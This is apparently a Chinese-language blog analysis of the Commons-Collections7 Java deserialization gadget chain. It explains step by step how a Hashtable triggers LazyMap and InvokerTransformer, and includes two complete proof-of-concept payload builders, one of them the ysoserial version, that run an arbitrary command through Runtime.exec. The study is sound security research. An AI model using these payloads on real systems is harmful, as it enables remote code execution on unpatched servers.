Commons-Collections7原理分析

CC7 依旧是寻找 LazyMap 的触发点,这次用到了 Hashtable

reconstitutionPut#hashCode版

前置知识

Hashtable

HashtableHashMap 十分相似,是一种 key-value 形式的哈希表,但仍然存在一些区别:

  • HashMap 继承 AbstractMap,而 Hashtable 继承 Dictionary ,可以说是一个过时的类。
  • 两者内部基本都是使用“数组-链表”的结构,但是 HashMap 引入了红黑树的实现。
  • Hashtablekey-value 不允许为 null 值,但是 HashMap 则是允许的,后者会将 key=null 的实体放在 index=0 的位置。
  • Hashtable 线程安全,HashMap 线程不安全。

HashtablereadObject 方法中,最后调用了 reconstitutionPut 方法将反序列化得到的 key-value 放在内部实现的 Entry 数组 table 里。
1
然后发现 reconstitutionPut 调用了 keyhashCode 方法。
2

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class CC7 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),

};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key1");

Hashtable hashtable = new Hashtable();
hashtable.put(tiedMapEntry,"alter");

setFieldValue(chainedTransformer,"iTransformers",transformers);
lazyMap.remove("key1");
// lazyMap.clear();

seDse.serialize(hashtable,"CC7.ser");

}
}

总结

利用说明:

  • Hashtable 代替 HashMap 触发 LazyMap 方式,与 CC6 HashMap 几乎一致。
    Gadget 总结:
    1
    2
    3
    kick-off gadget:java.util.Hashtable#readObject()
    sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform()
    chain gadget:org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode()
    调用链展示:
    1
    2
    3
    4
    5
    6
    Hashtable.readObject()
    TiedMapEntry.hashCode()
    LazyMap.get()
    ChainedTransformer.transform()
    ConstantTransformer.transform()
    InvokerTransformer.transform()
    依赖版本

    commons-collections : 3.1

ysoserial版

前置知识

首先梳理清楚 MapAbstractMapHashMap 这三者的关系,如上图所示HashMap 继承 AbstractMap 同时这二者实现Map接口。
3
Map接口中的方法如下
4
重点关注equals方法,这个方法在HashMap的父类AbstractMap中实现
5
该函数会调用mapget方法,然而LazyMap正好实现Map接口,因此在这里可以有所作为。
但是触发这个是有条件的,以下三个判断都不能进入,否则代码执行不到触发点。

1
2
3
4
5
6
7
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<K,V> m = (Map<K,V>) o;
if (m.size() != size())
return false;

链分析

反序列化入口是 HashtablereadObject函数

1. readObject函数分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
s.defaultReadObject();
int origlength = s.readInt();
int elements = s.readInt();//elements 是hashtable中的元素个数
....

for (; elements > 0; elements--) {//通过elements的长度读取键值对
K key = (K)s.readObject();
V value = (V)s.readObject();
reconstitutionPut(newTable, key, value);//该函数会对元素进行比较
}
this.table = newTable;
}

readObject中会把元素通过读取对象的形式还原出来,并通过reconstitutionPut进行元素对比加入到hashtable中。

2. 与LazyMap的连接点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
//jdk1.7是如下源码
int hash = hash(key);//计算key的hash
int index = (hash & 0x7FFFFFFF) % tab.length;//通过hash确定索引
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// 如果没有相同元素,创建元素到hashtable中
Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

e.key.equals(key)这里是完美的衔接点,它实现了将hashtableLazyMap之间反序列化的连接。

POC

主要步骤如下:

  1. 创建两个hashmap和两个Lazymap
  2. lazymap中填充以yyzZkey的两个键值对
  3. 将两个lazymap put进创建的hashtable
  4. 修改transformerChainiTransformers属性为命令执行链
  5. 删除lazyMap2中多余的key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<Hashtable> {

public Hashtable getObject(final String command) throws Exception {

// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command};

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

return hashtable;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections7.class, args);
}
}

借用D4ck师傅的构造链图 10

问题分析

1. 为什么innerMapHashMap?

在构造LazyMapHashMap 作为decorate参数的第一个参数,那么这里为什么要使用HashMap呢,如果不认真分析这点很容易被忽略。因为要使用的是HashMap中的equals方法,那么这个传递关系如下图所示
6
LazyMap传入Hashmap后在lazymap比较时会调用第一个mapequal方法,同时hashmap继承了AbstractMap类但没有重写equals方法,所以最终调用的是AbstractMap类中的equals方法,这也是为什么传入hashmap的原因。

2. 为什么创建两个不同的hashmap作为参数?

如果两个hashmap相同的话会直接在hashtable put的时候认为是一个元素,所以之后就不会在反序列化的时候触发equals代码

3. 为什么选择 yyzZ 作为key

首先它俩的hashCode相等
9
这里我们回头看下Hashtable中的reconstitutionPut方法,重点看equals函数调用的前提条件是e.hashhash相等,那就意味着两个keyhash必须相同,这个是条件之一。
7
那为什么不能把两个key设成一样的呢?这样hash就相等了,但是如果继续往下跟代码的话就会发现在lazymapget方法中有以下逻辑,mapkey不能重复否则就不会执行transform函数执行代码了。
8

4. 为什么要移除第二个LazyMap中的元素?

hashtable在添加第二个元素之前,可以看到innerMap1innerMap2size都是1
14
hashtable.put会触发equals方法
15
equals会进入LazyMapget方法,把yy放进去
16
17
从而lazyMap2变成了两个元素。
这导致在后面运行到AbstractMapequals方法时出现新问题
其中,第三个判断的m.size()=2size()=1,直接返回false 11
12
移除LazyMap2中的yy后,m.size()=1
13

总结

利用了hashtable反序列化时会触发元素比较,巧的是lazymapequals方法是继承父类方法,父类做的操作是用lazymapinnermap进行对比,刚好innermaphashmaphashmapequals方法时继承AbstractMap类,其中有个获取equals方法参数的key,即m.get(key)